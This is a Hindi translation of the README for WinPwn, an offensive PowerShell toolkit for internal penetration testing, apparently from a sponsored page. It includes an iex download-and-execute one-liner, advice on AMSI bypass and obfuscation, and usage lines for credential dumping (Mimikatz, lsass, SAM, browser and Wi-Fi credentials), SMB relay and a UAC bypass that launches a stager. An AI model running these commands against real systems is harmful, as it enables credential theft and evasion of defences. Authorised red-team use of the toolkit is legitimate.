प्रायोजित द्वारा

     

WinPwn

पिछले कई आंतरिक पेनिट्रेशन टेस्ट में मुझे अक्सर मौजूदा Powershell Recon/Exploitation स्क्रिप्ट में प्रॉक्सी समर्थन की कमी के कारण समस्या होती थी। मैं अक्सर वर्तमान सिस्टम और/या डोमेन के बारे में जानकारी प्राप्त करने के लिए एक के बाद एक समान स्क्रिप्ट चलाता था। अधिक से अधिक आंतरिक पेनिट्रेशन टेस्ट प्रक्रियाओं (रिकॉननेसेंस और एक्सप्लॉइटेशन दोनों) को स्वचालित करने और प्रॉक्सी कारण से मैंने अपनी स्वचालित प्रॉक्सी पहचान और एकीकरण वाली स्क्रिप्ट लिखी। यह स्क्रिप्ट मुख्य रूप से प्रसिद्ध अन्य आक्रामक सुरक्षा Powershell परियोजनाओं पर आधारित है।

कोई भी सुझाव, फीडबैक, पुल रिक्वेस्ट और टिप्पणियाँ स्वागत हैं!

बस मॉड्यूल को इस प्रकार आयात करें:

Import-Module .\WinPwn.ps1 या iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

AMSI को बायपास करने के लिए किसी मौजूदा बायपास तकनीक का उपयोग करें, AMSI ट्रिगर ढूंढें और इसे बायपास फंक्शन में मैन्युअल रूप से बदलें या ट्रिगर स्ट्रिंग को एन्कोड करें। वैकल्पिक रूप से पूरी स्क्रिप्ट को अस्पष्ट करें।

यदि आप इंटरनेट एक्सेस के बिना विंडोज सिस्टम पर फंस गए हैं - कोई समस्या नहीं, बस Offline_Winpwn.ps1 का उपयोग करें, सबसे महत्वपूर्ण स्क्रिप्ट और एक्जीक्यूटेबल शामिल हैं।

आयात के बाद उपलब्ध कार्य:

• WinPwn -> हमले चुनने के लिए मेनू:

• Inveigh -> Inveigh को एक नई कंसोल विंडो में निष्पादित करता है, SMB-Relay हमले जिसमें सत्र प्रबंधन (Invoke-TheHash) शामिल है

• SessionGopher -> SessionGopher को निष्पादित करता है, आपसे पैरामीटर मांगता है

• Kittielocal ->

  • Obfuscated Invoke-Mimikatz संस्करण
  • मेमोरी में Safetykatz
  • rundll32 तकनीक का उपयोग करके lsass डंप करें
  • Obfuscated Lazagne डाउनलोड और चलाएं
  • ब्राउज़र क्रेडेंशियल डंप करें
  • अनुकूलित Mimikittenz संस्करण
  • वाई-फाई क्रेडेंशियल एक्सफिल्ट्रेट करें
  • SAM फ़ाइल NTLM हैश डंप करें
  • SharpCloud

• Localreconmodules ->

  • इंस्टॉल किए गए सॉफ्टवेयर, कमजोर सॉफ्टवेयर, शेयर, नेटवर्क जानकारी, समूह, विशेषाधिकार और बहुत कुछ एकत्र करें
  • SMB-Signing, LLMNR Poisoning, MITM6, WSUS over HTTP जैसी सामान्य कमजोरियों की जांच करें

पैरामीटर के बिना, अधिकांश फंक्शन केवल इंटरैक्टिव शेल से उपयोग किए जा सकते हैं। इसलिए मैंने पैरामीटर -noninteractive और -consoleoutput जोड़ने का निर्णय लिया ताकि स्क्रिप्ट को एक अतुल्यकालिक C2-फ्रेमवर्क जैसे Empire, Covenant, Cobalt Strike या अन्य से उपयोग किया जा सके। इसके अतिरिक्त, -repo पैरामीटर जोड़ा गया था ताकि WinPwn को स्थानीय रिपॉजिटरी से इसकी सभी सुविधाओं के साथ उपयोग किया जा सके। इनका उपयोग निम्नानुसार किया जा सकता है:

उपयोग:

-noninteractive -> कार्यों के लिए कोई प्रश्न नहीं, ताकि वे पूर्वनिर्धारित या उपयोगकर्ता द्वारा परिभाषित पैरामीटर के साथ चलें

-consoleoutput -> लूट/रिपोर्ट फ़ोल्डर नहीं बनाए जाते। प्रत्येक कार्य आउटपुट कंसोल पर लौटाता है ताकि आप अपने C2-फ्रेमवर्क के एजेंट लॉग में सब कुछ देख सकें उदाहरण:

WinPwn -noninteractive -consoleoutput -DomainRecon -> यह प्रत्येक एकल डोमेन रिकॉन स्क्रिप्ट और फंक्शन लौटाएगा और संभवतः आपको बहुत अधिक आउटपुट देगा

WinPwn -noninteractive -consoleoutput -Localrecon -> यह स्थानीय सिस्टम के लिए अधिकतम जानकारी एकत्र करेगा

Generalrecon -noninteractive -> बुनियादी स्थानीय रिकॉन फंक्शन निष्पादित करें और आउटपुट को संबंधित फ़ोल्डरों में संग्रहीत करें

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> निम्न-विशेषाधिकार सत्र से उच्च अखंडता वाली प्रक्रिया में स्टेजर निष्पादित करें

Kittielocal -noninteractive -consoleoutput -browsercredentials -> Sharpweb के माध्यम से ब्राउज़र क्रेडेंशियल डंप करें, आउटपुट कंसोल पर लौटाएं

Kittielocal -noninteractive -browsercredentials -> SAM फ़ाइल NTLM हैश डंप करें और आउटपुट को फ़ाइल में संग्रहीत करें

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> मेमोरी में Seatbelt, PowerUp, Watson और अधिक C# बायनेरिज़ निष्पादित करें

Dotnetsearch -consoleoutput -noninteractive -> .NET असेंबली के लिए C:\Program Files\ और C:\Program Files (x86)\ में खोजें

WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> इंटरनेट एक्सेस के बिना WinPwn का उपयोग करने के लिए स्थानीय वेबसर्वर को ऑफ़लाइन रिपॉजिटरी के रूप में उपयोग करें

Get_WinPwn_Repo.sh:

उपयोग: ./Get_WinPwn_Repo.sh {Option}

उदाहरण: ./Get_WinPwn_Repo.sh --install

विकल्प: --install रिपॉजिटरी डाउनलोड करें और इसे ./WinPwn_Repo/ में रखें --remove रिपॉजिटरी ./WinPwn_Repo/ को हटाएं --reinstall रिपॉजिटरी हटाएं और ./WinPwn_Repo/ में एक नया डाउनलोड करें --start-server पोर्ट 8000 पर python HTTP सर्वर शुरू करें --help यह सहायता दिखाएं

करने के लिए

• कुछ अस्पष्टीकरण
• अधिक अस्पष्टीकरण
• PAC-फ़ाइल के माध्यम से प्रॉक्सी समर्थन
• अपने स्वयं के creds रिपॉजिटरी (https://github.com/S3cur3Th1sSh1t/Creds) से स्क्रिप्ट प्राप्त करें ताकि मूल रिपॉजिटरी में परिवर्तनों से स्वतंत्र रहें
• अधिक रिकॉन/शोषण कार्य
• कार्यों के बेहतर प्रबंधन के लिए मेनू जोड़ें
• Amsi बायपास
• ETW ब्लॉक करें

श्रेय

• Kevin-Robertson - Inveigh, Powermad, Invoke-TheHash
• Arvanaghi - SessionGopher
• PowerShellMafia - Powersploit
• Dionach - PassHunt
• A-mIn3 - WINSpect
• 411Hall - JAWS
• sense-of-security - ADrecon
• dafthack - DomainPasswordSpray
• rasta-mouse - Sherlock, Amsi बायपास, PPID Spoof & BlockDLLs
• AlessandroZ - LaZagne
• samratashok - nishang

समय के साथ स्टारगेज़र

कानूनी अस्वीकरण:

पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए WinPwn का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई देयता नहीं मानते हैं और इस प्रोग्राम के दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। केवल शैक्षिक उद्देश्यों के लिए उपयोग करें।